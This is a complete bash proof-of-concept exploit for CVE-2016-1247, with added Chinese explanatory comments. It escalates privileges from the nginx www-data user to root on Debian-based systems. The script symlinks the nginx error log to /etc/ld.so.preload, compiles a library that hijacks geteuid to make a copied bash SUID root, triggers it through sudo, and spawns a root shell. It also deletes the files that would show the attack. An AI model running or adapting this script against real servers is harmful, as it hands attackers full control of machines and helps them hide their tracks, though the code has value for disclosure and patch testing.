#!/bin/bash
#
###############[ nginxed-root.sh ]###############
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
 
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
 
function cleanexit {
    # Cleanup
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}
 
function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
}
 
#intro
 
cat <<_eascii_
 _______________________________
< Is yourserver (N)jinxed ? ;o >
 -------------------------------
          \ 
            \          __---__
                    _-      /--______
              __--( /    \ )XXXXXXXXXXX\v.  
            .-XXX(  O  O  )XXXXXXXXXXXXXXX- 
            /XXX(      U    )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
        /XXXXX/ (      O    )  XXXXXX  \XXXXX\ 
        XXXXX/  /            XXXXXX  \__ \XXXXX
        XXXXXX__/          XXXXXX        \__---->
 ---___  XXX__/          XXXXXX      \__        /
  \-  --__/  ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
fi
 
# Priv check
 
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
    exit 3
fi
 
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
fi
 
# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compilingtheprivescsharedlibrary ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failedto compile the privesclib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-privshell installed at: \n`ls -l $BACKDOORPATH`"
 
# Safety check
## /etc/ld.so.preload事先不可存在.
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi

# Symlink the log file
## error.log所在目录用户属主为www-data, 目前得到的权限是可以删除的, 即使error.log的属主是root
## 注意: 这个软链接建的...真是, ld.so.preload不存在, 所以目前error.log是一个无效的软链接, 而且属主是www-data. 但是nginx对这个error.log有root的写权限, 它重启时将直接打开这个文件并写入, 就可以直接写入/etc/ld.so.preload文件.
## 不过首先你要能有权限删除原来的error.log, 这需要你拥有/var/log/nginx的写权限
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOGfileor create a symlink."
    cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
    sleep 1
    if [ -f /etc/ld.so.preload ]; then
        ## 注意, 作为www-data我们只是没法在/etc下面创建ld.so.preload, 但是通过上面的操作, 我们已经在/etc下建了一个属主为www-data的ld.so.preload, 所以现在我们有对它的写权限了.666
        echo $PRIVESCLIB > /etc/ld.so.preload
        ## 哦, 还要删除这个软链接...
        rm -f $ERRORLOG
        break;
    fi
done
 
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
## sudo命令内部调用了geteuid函数, 正是我们劫持的函数, 它已经写在/etc/ld.so.preload了. 执行sudo后, 就会将我们拷贝出来的bash文件的属主修改成0, 并加上了s属性. root提权就算完成了.
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
## $BACKDOORPATH就是拷贝的bash程序
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
    echo -e "\n[+] Rootshell got as signed root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mThe serveris (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG

# Use the rootshell to perform cleanup that requires root privilges
## 提权完毕, 可以将ld.so.preload删除了, 以免留下痕迹.
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
## 重启nginx, 重新生成error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
 
# Execute the rootshell
## 直接运行root的bash环境.
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0
